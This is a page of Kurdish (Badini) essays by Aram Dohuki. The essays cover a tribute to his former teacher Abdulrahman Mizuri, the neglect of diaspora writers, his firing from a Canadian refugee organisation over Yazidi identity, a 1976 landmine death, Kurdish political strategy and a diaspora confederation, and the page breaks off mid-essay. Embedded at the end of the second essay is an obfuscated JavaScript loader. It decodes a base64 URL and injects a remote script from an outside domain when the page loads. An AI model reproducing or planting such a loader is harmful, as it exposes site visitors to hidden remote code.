ئـارام دهۆكی

مامۆستا عبدلرحمان مزووری نەتنێ وەكو نڤێسەرەك بەرهەم هەبوویە، ئەڤ بەرێزە وەكو دارەكا مەزنا چەندین تا بوویە و دیساڤە مینا دارەكا هاتی پیككرن وەكو هەر تایەك جۆرە فێقیەك و بەرهەمەك ژێ پەیدابە و وەرە خوارەن ب دەڤێ برسیێن وان دەم و چاخان.
دیارە ژیانا وی یا پڕبوویە ژ سەر ئەڤرازی و نشڤیان وەكو هەر رەوشەنبیرەكێ دن یێ كورد، ئەڤجا ژ ژیێ گەنجاتیێ و مامۆستایێ و هەتا ژیانا ئەورۆپا و زڤرینا كوردستانێ. ژ بەر كو مامۆستا د ژیێ سنێلەیێ دا مینا گەكەك داخباران ب ئازادبوونا كوردان داخباربوویە، لەوا ژی هەر دەما دارا وی كەتی بەری یا هەلبەست نڤێسانێ ئێكسەر خۆ ل بەندا چیا و كولتۆر و چاند و هەلبەستا كوردی یا كەڤن كریە خودان بەرهەمەك بچووك و یا قالب زێڕ نڤێسی، ئەوژی دگۆتنێ (ژ ئەڤینا چرایێن كەڤن). هەلبەت د گەل ڤێ چەندێ بوویە ئێك ژ دەسپشخەرێن ئینانا شێوەیێ هەلبەستا ئازاد و دەڤەرا خۆ یا بەهدینان دەربازی وی جۆرێ هەلبەستێ كریە. ئەڤە د دەمەكی دا كو مامۆستایێ بابەتێن كومەلایەتی بوو ل خواندنگەها برایەتی ل سالێن ١٩٧٦ـ ١٩٨٧ كو هژمارەكا هەرە مەزنا خویندكاران لبەردەست بووینە بسپۆر و بووینە كادرێن پێشكەفتی د ناڤا گەلەك پارتێن كوردی دا، نەمازە پارتا دیموكرات ژبەر كو وانەیێن وی هەردەم دو بەش بوون، بەشەك وانە بوون بەشەك ژی ئاڤدانا بیرۆكا بزاڤا سەرخۆبوونا كوردی بوو. بۆ خویندكاران، دیارە پشتی سەرهلدانا ١٩٩١ نڤێسەری ڤیایە خەبات و قوربانیێن كوردان ب هەرەوە نەچن لەوا ژی قەلەمێ خۆ تیژكریە ژ بۆ كێم و كاسیێن د هاتن رویدان د دەمێ سیستەما كوردان بۆ یاخۆی، ئێدی خواستیە كو رەخنێ ل دەستەلات و بەرپرسان بكەت و نەهێلە خەمساری و گەندەلی و خۆپەرێسی شاكێن خۆ د ناڤا دەستەلاتا كوردی دا پاڤێژە، لێ ژ بەر پڕانیا هاتنە پێش و پەیدابوونا نەئارامیا هەمە جۆر و دەستپێكرنا شەڕێ براكۆژیێ و ب دەهان ئەگەرێن دن مامۆستا مزووری وەكو هزارەها وەلاتیێن دن یێن كوردستانێ بجهێلا و قەستا ولاتێ ئەلمانیا دكە. هەرچەندە گەلەك پێزانین وەسا بەرچاڤ و چالاكیێن وی نەكەتینە بەرچاڤ، لێ وەسا دیارە شیایە ل تەمەنەك مەزن بزڤریتەڤە خواندنێ و وەكو تێ خۆیاكرن مامۆستا ژ وێ پلێ دەربازی دكتۆرایێ دبە كە ئەڤە ب خۆ ژی پێنگاڤەك مەزن بوویە و نەهێلایە دەمێ وی ب هەروە بچیت، هەلبەت د ڤان هەموو قۆناغان دا دكتۆر مزووری بەردەوام خزمەتا گوند و جڤاك و رەوشەنبیریا كوردی یاكەڤن و نوو كریە ب بەلاڤكرنا بابەتان و نڤێسینا نامیلكەیان و لێكۆلینێن زانستی كرینە، ئەڤجا ژ بەیان و هاوكاری بگرە هەتا دگەهە مەتین و ئەڤرۆ پرێس.
هەلبەت بەلكی تەنێ مزووری نەبوویە كو د ڤان قۆناغان دا بووریبیت، لێ ژ بەر جهێ دەواما فەرمیا وی كە قوتابخانە بوویە و قوتابخانە ژی برایەتی بوویە، هەروەسا ئەو ستایلێ هەستیار كو كەڤناری و نوكەیا گەلێ كورد پێكڤە گرێدا و دگەل بكارئینانا رەمزیەتەكا ئێكجار كاریگەر و د گەل دلسۆزیا وی ئەو قەنەعەتا پێ ڤان و گەلەكێن دن مامۆستا مزووری كرە ئێك ژ ستێرێن هەرە بریسقەدارێن دەڤەرا بەهدینا و ل هەموو كوردستانێ. لەوان ژی ئەڤ رێزگرتنە ژ فەران بوو وەرە كرن مینا بۆ گەلەكێن دن هاتی كرن كو ب ساخیا خۆ ببینیت. دەستخۆشیێ ل هەموو هەڤكارێن بنەگەهێ خانی دكەین بۆ رابوون ب ڤی كارێ بەركەفتی. هەلبەت ئەز ژی ب ڤێ نڤێسێ قەرەكێ بچویك لسەر مڵێن خۆ ڕادكەم ب درێژیا شەش سالان كو مزووری مامۆستایێ من بوو مینا سەدان خویندكارێن دن د سالێن سەختێن ٧٠ و ٨٠ یان ل چەخێ چووی.

ئارام دهۆكى
نڤێسه‌ر ب گشتی ماندیبوونه‌كا مه‌زن و پویته‌دانه‌كا كێم هه‌ر ژ لایێ جڤاكی ڤه‌ و هه‌م ژی ژ لایێ ده‌ستهه‌لات و سه‌ندیكا و بنگه‌هان ڤه‌ هه‌یه‌، لێ سه‌یر ل گه‌ل نڤێسه‌ڤانی وه‌كو پرانیا هونه‌رمه‌ندان ژی دقاهیمن بۆ به‌رده‌وام ب به‌رهه‌م و كول ناده‌ن زوى ب زوى هه‌تا په‌یاما خۆ دگه‌هینن. ئه‌ڤه‌ ل ده‌مه‌كی كو دبت هه‌ڤالبه‌ندێن ژیێ وی كاری بن گوهۆرینێن به‌رچاڤ د ژیانا خۆیا كه‌سۆكی و خێزانی یا مادی كربن و ببن خودان بزنس و ڤێللا..هتد. لێ چاوانه‌ گه‌ر نڤێسه‌ڤان ژ ده‌رڤه‌به‌ و زێده‌ی ده‌مێ خۆ ب خۆبه‌خشیا نڤێسین و كاروبارێن جڤاكی و…هتد.
هه‌لبه‌ت ئه‌ز ڤی بابه‌تی دنڤێسم بۆ بنگه‌هێ خانی و رۆژنامه‌یا ئه‌ڤرۆ، ژ به‌ر كو ئه‌ڤه‌ پتری ٢٠ سالانه‌ ئه‌ز وه‌كو نڤێسه‌ڤانه‌ك ده‌رڤه‌ی وه‌لاتى بابه‌تێن هه‌مه‌ جۆر ب تایبه‌تی لسه‌ر كاودانێن ژیانا كوردان ل كه‌نه‌دا و به‌رخۆردا سیسته‌ما سیاسی یا ڤی وه‌لاتی د گه‌ل كوردستانێ، لێ هه‌تا نوكه‌ من و ئه‌ز نزانم چه‌ندێن ینا مه‌ هه‌نه‌ سوپاسیه‌ك ژی ژ بنگه‌هێ ناڤكرى وه‌رنه‌گرتیه‌ دیاره‌ نڤێسین حه‌ز و ئاره‌زۆنه‌، به‌ری ببنه‌ رێك و رێباز رامان ئه‌وه‌ كو ئه‌ز یان هه‌ر نڤێسه‌ره‌ك دن دبیت به‌رده‌وام به‌ بێی كو هیچ تشت به‌خشین و دان لێ سیسته‌مێن پێگه‌هشتی ب ڤی ره‌نگی به‌رخۆردێ د گه‌ل نڤێسه‌ر و ره‌وشه‌نبیران ناكه‌ن، بتایبه‌تی یێ كو لسه‌ر بنیاته‌ك باوه‌ری وه‌لات ب جه هێلا بیت. ب داخ ڤه‌ گه‌له‌ك جاران جڤاكێ مه‌ ته‌ڕ و هشكان پێكڤه‌ دسۆژیت و حوكمه‌كی ب كوره‌كی ڤه‌ دادنیته‌ سه‌ر مشه‌خ و په‌نابه‌ران، بۆ نموونه‌ بۆ خۆشییا دلێ خۆ چوویه‌ یان بۆ بده‌ستخستنا دراڤی و حه‌زۆكێن خۆ یێن تاكه‌كه‌سی. لێ راستی وه‌سا نینه‌ ژماره‌ك به‌رچاڤ هه‌نه‌ ژ وان كو شه‌ڤ و رۆژان دكه‌ن ئێك بۆ گه‌هاندنا په‌یاما كوردان ب رێكێن جوداجودا. ئه‌ز ڤی بابه‌تی دئازرینم پێش وان هه‌موو نڤێسه‌ران ڤه‌، بتایبه‌تی یێن ل ده‌رڤه‌ی وه‌لات كو پویته‌ ب ره‌وشا وان بێته‌ دان هه‌ر چونه‌به‌ كا چاوا بۆ فه‌رمانبه‌ر و كارمه‌ندێن حكومى ماف هه‌یه‌ كو پارچه‌كا عه‌ردی بده‌نێ، ئه‌وان ژی كه‌دا وان به‌ر ئاڤێ دا نه‌چه‌ و ئه‌و ئێك بۆ بێته‌ كرن دا كو بارێ وان یێ ئابووری هنه‌ك بۆ وه‌ره‌ ته‌عویزكرن. هه‌ر چه‌نده‌ بۆ نموونه‌ ل سالێن ٢٠٠٧ و لسه‌ر دهمێ ره‌حمه‌تی ئیسماعیل تاهر خه‌باته‌ك مه‌زن هاته‌ كرن، لێ ئه‌ڤ بابه‌ته‌ ژ به‌ر كاودانان هات راوه‌ستاندن. ئه‌ز ب هیڤی مه‌ كو بنگه‌هێ خانی و بتایبه‌تی به‌رپرسێن وی مینا، به‌رێز (ئیحسان ئامێدی) و خویشكا ڤیان عه‌باس كو ڤی بابه‌تی پێش مه‌ ڤه‌ بگه‌هینن جهێن په‌یوه‌ندیدار دا كو نڤێسه‌ر دل و زه‌وقا به‌ردوامیێ هه‌رده‌م د گه‌ل بمینه‌ و بزانیت نه‌هاتیه‌ ژ بیركرن ژ به‌ر كو پرانیا جاران مرۆڤێ نڤێسه‌ر و هونه‌رمه‌ند بارێ گران هلدگرن و كێم ژی پێ دزانن.
نڤێسه‌ر و ره‌وشه‌نبیر ب گشتی ماف لێ دئێنه‌ خوارن ژ به‌ر كو پرانیا جاران مرۆڤێن خۆ شه‌رم و خۆ راگرن و دخوازن ته‌خێن دی یێن جڤاكی ب ئاره‌زۆمه‌ندانه‌ بژین، ژ به‌ر كو هیڤییا وان ئه‌وه‌، لێ كورد دبێژن ده‌ما هه‌ڤالێ ته‌ بوو شه‌كر ژی هه‌میێ نه‌خۆ. ئه‌ز ب هیڤی مه‌ بابه‌ت ب راستگۆیانه‌ و دووربینیانه‌ وه‌ره‌ وه‌رگرتن و كار بۆ ڤی مژارێ بێته‌كرن ژ به‌ركو ته‌خا نڤێسه‌ران پارچه‌كا قاهیمن ل گه‌ل جڤاكی، ئه‌ڤجا چ ل ده‌رڤه‌ و چ ژ ناڤدا. لێ یێ ده‌رڤه‌ زوی ب زوی ناهێته‌ دیتن و ب ئاوه‌یه‌ك دن لێ دنێرن وه‌كو مه‌ ل سه‌رێ بابه‌تی به‌حس كری.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ئارام دهۆكی
كوردبوون بیرۆكه‌كه‌ رامانا ئازادبوونێ ده‌ت ژ به‌ركو كورد گه‌له‌كێ بنده‌سته‌ له‌وان ژی پڕانیا رێكخراوێن مه‌ده‌نی و فه‌رمی یێن حكومی ل ده‌رڤه‌ی وه‌لاتی به‌رده‌وام دخوازن كه‌سایتێ كورد یێ سنووردار به‌ د هه‌ستا خوه‌ دا و هه‌رده‌م ته‌ وه‌كو ئیراقی و ئیرانی و توركی و سووری ببینن و تو ژی وێ ئێكێ قه‌بوول بكه‌ی، ئه‌گینا جهێ كاری د ناڤا چارچوڤه‌یێ سته‌ما وان ته‌نا بیت. ژ هه‌ژی گۆتنێ یه‌ ئه‌ڤ رێكخراوێن هه‌ڤكاریا په‌نابه‌ر و مشه‌ختان دكه‌ن هه‌رده‌م هێن بلند ب كه‌ساتیێن وان وه‌لاتێن مه‌ ئانین زمان تێنه‌ پڕكرن و ئه‌وژی هه‌تا پێ چێدبن كه‌ساتیێ كوردێ خودان بیرۆكا ئازاد ژ رێكخراوێ دوورخه‌ن و نه‌هیلن د سیسته‌ما وان دا جهی بگره‌ و وه‌كو كورد بیر بكه‌ و كاری برێڤه‌ ببه‌.
د ده‌مێ خوه‌دا ده‌مێ گه‌هشتیم كه‌نه‌دا، من ل نێرینه‌ك ل رێكخراوێن مشه‌ختان كر وه‌سا خۆیا بوو كو كه‌سێن كورد د ناڤا ڤان رێكخراوێن گرنگ دا نه‌بوون، له‌وان من ڤیا ب هه‌ر ره‌نگه‌كی با ئه‌ڤ ڤالاهییه‌ بێت پڕكرن ژ به‌ر دو ئه‌گه‌ران: ئێك، چ گه‌لا مینا كوردان مشه‌خت نابن و چ گه‌لا ژی ته‌مه‌ت كوردان پێدڤی ب ڤان هاریكاریان نابه‌ ژ به‌ر كو ل هه‌موو پارچه‌یێن كوردان ره‌ڤین و راته‌قاندن و مال وێرانكرن یا به‌ردوام و دێ یا به‌رده‌وام بیت ژ به‌ر كو كورد به‌رده‌وام ل ئازادبوونێ دگه‌رن و دخه‌بتن. زۆر ب داخ ڤه‌ سیسته‌م هه‌موو وه‌كو هه‌ڤ رێساینه‌ چ ل كوردستانێ و چ ل ده‌رڤه‌ی كوردستانێ. خۆیایه‌ نابه‌ كه‌ساتیێ كورد یێ ئازادبه‌ د بیرۆكه‌ و كارێ خوه‌دا ئه‌گینا دێ باجا وێ ده‌ی یا مادی و مه‌عنه‌وی و خێزانی و..هتد. ئه‌وژی ئه‌وه‌ دێ كارێ خوه‌ ژ ده‌ستده‌ی و هنه‌ك كه‌سێن دوور ژ بیر و هه‌ستێن كوردان وێ جهێ ته‌ بگره‌ و هه‌ر چ دخوازن و چاوا كاربكه‌ وێ بكه‌ هه‌تا ئه‌گه‌ر د خێرا كوردان ژی دا نه‌به‌. ئه‌زێ ته‌نێ نموونه‌كێ ئینم زمان وه‌كو ئه‌زموونه‌كا من د چه‌ند سالێن بووری دا دا كو بابه‌ت پتر زه‌لال به‌. من ل رێكخراوه‌كێ كار دكر یا مشه‌ختان ده‌ما شه‌پۆله‌كا مه‌زن یا ئێزدیان گه‌هشتین كه‌نه‌دا. هه‌لبه‌ته‌ هه‌رچه‌نده‌ بیرۆكا كورد بوونا كوردان هنه‌ك زیان ڤێكه‌تن ژ به‌ر هنه‌ك رویدانێن نه‌ ره‌وا پشتی هاتنا داعشان ئێزدی مینا نووكێن ل به‌ری داین د هزر و بیرێن خودان به‌لاڤبوون ژ وانا پێناسه‌یا كوردبوونا وان، لێ ب هه‌ر حال مه‌ كوردان ب گشتی ئێزدی نیاسینه‌ ب كورد و ده‌لیل ژی ب كوردی دئاخڤن وه‌كو زمانێ دایك. رێكخراوا ناڤكری گۆت كو ئێزدی ب عه‌ره‌بی دپه‌یڤن و مه‌ هه‌وجه‌ی كوردان نینه‌. من هه‌ولدان كو ڤێ بیرۆكێ ب دره‌و ده‌رخه‌م و راستیا كوردبوون و په‌یڤینا وان ب زمانێ كوردی بینم زمان. ب هه‌رحال هه‌ولدانێن مه‌ نه‌ ته‌نێ سه‌ر نه‌گرتن، به‌لكو ئه‌ز ژ شۆلی ده‌رخستم هه‌لبه‌ت ئه‌گه‌ر ژی ئه‌وێن من لسه‌رێ بابه‌تی ئانین زمان. ده‌ما وان ئه‌و پێنگاڤ هاڤێشتی ئه‌ز گه‌له‌ك پێ داخباربووم نه‌ ته‌نێ ژ به‌ر كو من كارێ خوه‌ ژ ده‌ستدا، به‌لكو مافێ كورد و ئێزدیان هاتن خارن، مینا گه‌ل و نه‌ته‌وه‌ له‌وان من ژی شكایێته‌ك مه‌زن لده‌ف ئه‌ندام په‌رله‌مانێن كه‌نه‌دی كرن و ئه‌ڤ بابه‌ته‌ گه‌هشته‌ ناڤا په‌رله‌مانێ كه‌نه‌دا و ل وێرێ ته‌له‌فون بۆ كه‌ساتیێ ئێكێ یێ رێكخراوا ناڤكری هاتكرن و شكایه‌تا من گه‌هانده‌ وان كارێ وان كه‌ته‌ بن میكرۆسكۆپێ نه‌مازه‌ یێ په‌یوه‌نی ب ئێزدیان ڤه‌. له‌وا ئه‌و رابوون لشینا ده‌ركرنا من نێزیكی ١١ كوردان دانه‌ شوولی.
ئه‌ز نزانم هه‌تا كیڤه‌ هوین د مه‌ره‌ما من گه‌هشتن لێ كوردبوون ل كیڤه‌ به‌ خودانێ بیرۆكا ئازاد یێ كورد هه‌موو ده‌ما باجا وێ چه‌ندێ دده‌ نه‌مازه‌ د ناڤا سیسته‌مێن فه‌رمی و نێڤ نه‌ته‌وی دا. هه‌لبه‌ت د راستیدا من كار و پاشه‌رۆژا خوه‌ یا مادی ژ ده‌ستدا، لێ وژدانا ده‌رباره‌ی ماف و ئازادبوونا من یا هزری دا گه‌له‌ك یا ئارامه‌ و چ تشت ژی ته‌مه‌ت ئارامبوونا وژدانێ د یاژیانێ دا یا ب روومه‌ت نینه‌.

ئارام دهۆكی
وه‌كو وه‌ ل چه‌ند هه‌یامێن بووری د دڕاما (بارۆڤه‌) دا دیتی، ئێك ژ ئه‌كته‌رێن وی یێن سه‌ره‌كی كو گه‌نجه‌كێ سنێله‌ دئێته‌ شه‌هیدكرن ب نه‌ئارامیا ده‌ڤه‌رێن كوردان ئه‌ڤجا چ فرۆكه‌یێن بیانیان یان ژی مینێن (ئه‌لغامێن) رژێمێن ئیراقێ یێن ل دویڤ ئێك و ب تایبه‌تی یا به‌عسێن ژ ناڤچووی ڤه‌دان ل هه‌می گر و نهال و رێكان بۆ پاراستنا خوه‌ ژ هێزێن پشێمه‌رگه‌ی. ئه‌ز د وێ باوه‌رێ دامه‌ كو هه‌ر گونده‌كێ كوردان ڤانۆیه‌ك خوه‌ هه‌یه‌. ئه‌زێ بابه‌تێ ڤانۆیێ د درامایێ دا ب سه‌رهاته‌یه‌ك ل گوندی ئێتیتی به‌ری ٤٨ سالان ب راستی قه‌ومی.
ل پشتی شكه‌ستنا ١٩٧٥ ب ساله‌كێ، هنده‌ك ژ گوندیان ل هه‌موو گوندێن كوردستانێ قه‌ستا گوندێن خوه‌ كرن و جاره‌ك دن ژیانا خوه‌ یا ئاسایا زه‌ڤی و زار و بیستان و ته‌رش و ته‌والی كرن. مالا مامێ حه‌جی ئه‌حمه‌د حه‌مووی وه‌كو هنده‌ك گوندیێن دی یێن قه‌ستا ئێتیتێ كر و ده‌ست ب ژیانا خۆش و دلڤه‌كه‌را گونداتیێ كر. ده‌م بهار بوو و تازه‌ گل و گیا و دخه‌ملی و ده‌مێ چه‌راندنا ته‌رش و ته‌والی بوو و ب دروستی بهارا سالا ١٩٧٦ بوو. مامێ ئه‌حمه‌د چه‌ند بزن و كه‌وال كریبوون ژ وان چه‌ند به‌رخ و كارك ژێ زابوون. مامێ ئه‌حمه‌د هنده‌ك سنێله‌ هه‌بوون و د خه‌یه‌لا خوه‌دا دانابوو كو ئێك ژ وان بلا ببه‌ شڤان كار. له‌وا كۆڕێ خوه‌یێ دووێ كو بناڤێ ره‌جه‌ب دهات نیاسین فرێكره‌ به‌ر كاران دورمان دورێن گوندی دگه‌راند بۆ چه‌روانێ. ره‌جه‌ب ژی ژ به‌ر كو ئاقارێ گوندی باش د نیاسی، ئه‌وی ژی هه‌رۆژ دبره‌ ئالیه‌كێ گوندی. وه‌سا دیاره‌ بۆ چه‌روانه‌ك باش رۆژه‌كێ ل سبه‌یه‌كا به‌رڤراڤینكێ ڤه‌ قه‌ستا گرێ ئێتیتێ دكه‌ت و به‌رخ و كارێن خوه‌ د به‌ته‌ به‌ربه‌تێن گری. ره‌جه‌بی نه‌ دزانی كو هۆڤا مینێن ڤه‌شارتی ل وان دور و شۆپا ڤه‌داینه‌ كو وێ درێ كر بوو ره‌بیعه‌كا دوژمنی و نه‌دزانی كو ئه‌و رۆژ دێ بیته‌ دوماهیك رۆژا وی ئه‌و بهارا ژیێ وی ژیێ كار و به‌رخان د گه‌ل خه‌ملا بهارا گرێ گوندێ ئێتیتێ وێ ببه‌ پایزه‌ك به‌لگ وه‌ریای و دێ دلی دایك و باب و كه‌س و كاران و گوندیا ب كۆڤان كه‌ڤیت بۆ هه‌تا هه‌تایێ. ب ڤی ئاوای مینه‌ك پێڤه‌ دپه‌قیت ره‌جه‌ب مینا ڤانۆی دبیته‌ قوربانی نه‌ئارامیا ده‌ڤه‌رێ و خوینا گه‌نجێ كورد ب ئه‌رزانی دئێته‌ رێتن.
خوانده‌ڤانێ هێژا سه‌رهاتیێن خودێ ژێ رازی یێن ره‌جه‌ب ل گوندێ ئێتیتێ و یان یێن مینا ڤانۆی د دڕاما بارۆڤه‌ دا دپڕن د ناڤا جڤاكێ مه‌دا. دبیت گه‌له‌كێن دی د رێدانه‌ هێشتا رینه‌داینه‌. له‌وا گه‌له‌ك فه‌ره‌ دڕاما و ئه‌ڤ سه‌رهاتیه‌ بێن نڤێسین دا كه‌ساتیێ كورد ب ئاگه‌هداری بلڤه‌ نه‌مازه‌ ل جهێن د ده‌مێ خوه‌ دا هۆڤا ئه‌ڤ جۆره‌ مینێن مرۆڤ و گیانه‌وه‌ر كوژ ڤه‌داینه‌. یا ژ گرنگتر ئه‌وه‌ دڤێت به‌رده‌وام تیمێن ئانینه‌ده‌را مینا كار بكه‌ن بۆ ئانینه‌ده‌را وان دا ژینگه‌هه‌ك پاقژتر بۆ جڤاكێ كوردان په‌یدا ببه‌ و ئێدی ڤانۆ و ره‌جه‌ب نه‌بن قوربان.
تێبینی: سه‌رهاتیا ره‌جه‌بی سه‌رهاتیه‌ك راسته‌یه‌ و ل بیرا منه‌ رویدایه‌.

ئارام دهوكی/ كه‌نه‌دا
د سه‌دێ چووی دا كوردان ب ده‌هان شۆرش و سه‌رهلدان كرن، هه‌ر رابوونه‌ك هه‌تا راده‌یه‌ك كێم زێده‌ یان سه‌ر ب سیسته‌م رۆژئاڤا ڤه‌ بوو یان ژی ب سیسته‌ما رۆژهه‌لات ڤه‌بوون وه‌كو گه‌له‌ك راپه‌رینێن ملله‌تان ل سه‌رانسه‌رێ دنیایێ. لێ گه‌ر دیرۆكا نێزیكا ڤی چه‌رخێ بیست و ئێكێ بنێرین ئه‌مێ ببینین كو دو پارچه‌یێن كوردستانێ ب دو ئه‌زموونێن جودا خه‌باتا خوه‌كرن كو ئێك ژ وان كولمل خوه‌ دا بوو د گه‌ل رۆژئاڤا ب سه‌رۆكاتیا ئه‌مریكا و یا دن ژی هه‌ر د گه‌ل ئه‌مریكا لێ ستراتیژیا رۆژهه‌لاتی دچه‌سپاند ل جهێن ئه‌و به‌پرس. د سه‌ر هندێرا كو بۆ جارا ئێكێ دو ئه‌زموون د ئێك ده‌مدا دئێنه‌كرن، لێ به‌رهه‌مێ هه‌ردوان كه‌ت و خوساره‌تی بوون. پرسیار ئه‌ڤه‌، بۆچی هه‌ر چ نه‌به‌ ئالیه‌ك بسه‌ر نه‌دكه‌ت یان گه‌هشتبا قۆناغه‌ك دن یا خه‌بات و ده‌ستكه‌فتان.
مه‌ره‌ما من ژ هه‌ردو ئه‌زموونان، ئه‌زموونا باشۆره‌ هه‌ر ژ كه‌تنا رژێما به‌ری نوكه‌ یا ئیراقێ هه‌تا كو نوكه‌ ژی ده‌ستدایه‌ ل گه‌ل سیسته‌ما رۆژئاڤا، نه‌مازه‌ د ده‌مێ هاتنا داعشێ دا هه‌تا نوكه‌، ئه‌ڤان لایه‌نێن سیاسی ل باشوور به‌رده‌وامی نه‌هێلایه‌ كاودانێن وان تێكبچن د گه‌ل رۆژئاڤا داكو ب هێڤی نه‌بن، لێ د راسیتێ دا رۆژئاڤا وه‌كو پێدڤی و قوربانیێن جوداین بۆ هه‌موو جیهانێ و ب تایبه‌تی وه‌لاتێن رۆژئاڤا و ژ هه‌میان پتر ئه‌مریكا ژ به‌ركو رێكخراوا داعشێ وه‌كو خوه‌ دیاردكر دین دوژمنان ئه‌مریكا بوو كه‌چی ده‌ما ل ژۆردا هلكه‌تی و داخوازا ریفرۆندامێ كری ئه‌مریكا هه‌ڤپه‌یمانا نه‌ته‌نێ خوه‌ ل كوردێن باشوور نه‌ كر خودان به‌لكی ب ئاشكه‌را دژی ڤێ حه‌زا كوردان رابوون و ئه‌بوو یا بێ ب هێرشا ئیراقێ ژۆرد پتر ژ ٪٥٠ خاكا خوه‌ ژ ده‌ستدا و بنگه‌هێ وان یێ نێڤنه‌ته‌وی گه‌له‌ك لاوازبوو، هه‌تا ئه‌ڤرۆ ژی قه‌وارێ هه‌رێما كوردستانێ ل بن گه‌فانه‌، كو نه‌مینه‌ ئه‌ڤه‌ ل ده‌مه‌كی ولاتێن هه‌ڤپه‌یمان ته‌نێ ئه‌و ده‌ریك مایه‌ د ده‌ستدا كو جهێ ئارامیێ و دیموكراسییا پێ پرۆپاگنده‌یان دكه‌ن.
ئه‌زموونا دویێ ئه‌زموونا رۆژئاڤایێ كوردستانێ كو هێزێن خوه‌ ل وێرێ ب هه‌ست و بیروكوكه‌كا چه‌پ هاتن بیاڤێ هه‌ر چه‌نده‌ هه‌ڤالبه‌ندی د گه‌ل ئه‌مریكا هێزێن رۆژئاڤا هه‌بوون ل د خورستیا خوه‌دا چه‌پ بوون، وه‌سا سیساسه‌تا خوه‌ په‌یره‌و كر هه‌موو فشارا توركیا قه‌بوولكر و راگرتن، ژ به‌ر كو هه‌رده‌م توركیا ب په‌په‌كه‌ ل قه‌له‌دان. ڤێ هێزا كوردی دیساڤه‌ شه‌ڕ بۆ هه‌موو دنیایێ كر و قوربانیێن هه‌ره‌ مه‌زن ژ خورت و قیزێن كوردان كرن قوربان مینا باشوور ل ده‌مێ هاتنا داعشێ. لێ دیساڤه‌ ده‌ما هه‌ره‌شێن داعشێ كێمبووین به‌ره‌ف نه‌مانێ چووین ئه‌ڤ هێزه‌ مان بێ پشته‌ڤان خوه‌ گه‌ر ستراتیژیا ئه‌مریكا و هه‌ڤپه‌یمانا ته‌نێ یا ده‌مكی بوو یا ئالیێن چه‌پ كه‌ تا راده‌كی رۆسیا، چین، كوریا و كو..هتد ئه‌ڤه‌ دگه‌ل بیرۆكا وان بوون وه‌كو بیروكا هزری، دیساڤه‌ هه‌موو لایێن چه‌پ بێده‌نگی هه‌لبژارت.
ب ڤی ئاوای هه‌ردو ئه‌زموون چ ئالیان وه‌كو پێدڤی خوه‌ ل بیرۆك و هه‌ڤالبه‌ندیا ستراتیژی نه‌كرن خودان. هه‌لبه‌ت گه‌ر پرس بكه‌ین و بێژین بۆچی؟. به‌رسڤا ڤێ بۆچیێ ته‌نێ ل ده‌ف كوه‌دان ب خوه‌یه‌! ل ده‌ف خه‌لكی باشوور و رۆژئاڤا هه‌ردو كێشه‌یێن ناڤخوه‌یا یێراقێ و سووریا لقه‌له‌م دئێتدان، هه‌ر ئێك جودا خه‌باتا خوه‌ بكه‌ و نه‌تنێ ل گه‌ل ئێك نینن، به‌لكو گه‌له‌ك جاران ژی دژی هه‌ڤ كاركرینه‌ ل وی ده‌می هێزا هه‌بوونا لاواز دبیت و دكه‌ڤنه‌ دبن فشارێن وه‌لاتێن ده‌ڤه‌رێ ڤه‌ و ولاتێن زلهێز نابینن كو شیانا دۆمدرێژا په‌یوه‌ندیان بكارن بپارێزن. ئه‌ڤه‌ ژبلی ته‌ڤایا ولاتێن ده‌ڤه‌را ناڤه‌راست و هه‌موو ولاتێن عه‌ره‌بان دژی هه‌ر كیانه‌كێ ئازادێ كوردینه‌! چاره‌ چیه‌؟. چاره‌ نه‌ هندا ب ساناهیه‌ لێ دیرۆكێ خۆیاكریه‌ كو كوردان چ رێكێن دی پێڤه‌تر نین دڤێت به‌ره‌كێ نه‌ته‌وی ژ هه‌موو وارچان بێت دروستكرن دا وه‌لاتێن دونیایێ په‌یوه‌ندیێن نه‌ته‌وه‌بوون د گه‌ل گرێده‌ن و كێشه‌ ژ چارچووڤه‌یێ خوه‌ یێ بچووك و پارچه‌ی و حزبایه‌تی ده‌ركه‌ڤه‌ و هه‌موو هێز و توانایێن گه‌ل بكه‌ڤن، كار نه‌ما ژ ده‌رڤه‌ ل بن سه‌رپه‌رشتیا كۆنفدراسیۆن و كومه‌له‌ و مالێن كورد و هێزێن سیاسی دا كو ژ قۆناغا ناڤخوه‌ی بچیته‌ قۆناغا نێڤنه‌ته‌وه‌بوونێ ئه‌گینا هه‌موو هێزێن سیاسی یێن كوردی و ته‌ڤا گه‌لێ كورد هه‌رده‌م وێ بمینه‌ پالێ پیشی وێ هه‌رده‌م وه‌ره‌قه‌ك به‌ د ده‌ستێن نه‌ئه‌زێن وان دا، هه‌رداما ڤیا وێ بكاربین دژی حه‌زا ئازادا گه‌لێ كورد.

ئارام دهۆكی/كه‌نه‌دا
هه‌ولدان بۆ دامه‌زراندنا كۆنفرادیسۆنا ره‌ڤه‌ندا كورد دیاره‌ دیارده‌كا كه‌ڤنه‌، دبیت هه‌ر ژ ده‌مێ كوردا قه‌ستا ده‌رڤه‌ی وه‌لاتێ خوه‌ كری وه‌كو كۆم دبیت ئه‌ڤ بیرۆكه‌ په‌یدا ببیت كو دزڤره‌ بۆ سالێن حه‌فتێیان ژ چه‌رخێ چووی گه‌ر زۆتر نه‌به‌ لێ وه‌سا دیاردبیت چه‌ند كورد زێده‌تر دبن ئه‌ڤ بیرۆكه‌ پتر و پتر دبیته‌ به‌رێ قورنه‌تێ ئه‌وژی دامه‌زراندنا كۆنفرادیسۆنه‌كا ئێكگرتی كو بكاربه‌ نوونه‌راتیا گه‌لێ كورد بكه‌ و بریارا ببه‌ ئێك د هه‌موو ئالیێن ژیانێ دا، نه‌مازه‌ بریارا سیاسی كو هه‌ڤڕكى و داكۆكیێ ل مافێ چاره‌نڤیسێ كوردان دكه‌. نه‌دوور به‌رییا ساله‌ك یان زێده‌تر بانگه‌وازه‌ك بۆ كۆمكرنا ده‌نگێ ره‌ڤه‌ندا كورد ل ده‌رڤه‌ی وه‌لات ژ هه‌ولێرێ ده‌ركه‌ت، تاكو بشێن پتر كورد ل دۆر هه‌ڤ كۆمببن و كار ل گه‌ل ئێك بكه‌ن. هه‌ر پشتی چه‌ند هه‌یامه‌كا كێم زێده‌ كار ژ بۆ ڤێ مه‌ره‌مێ هاته‌كرن، نه‌مازه‌ ل ئه‌ورۆپا و ئه‌مریكا باكور. 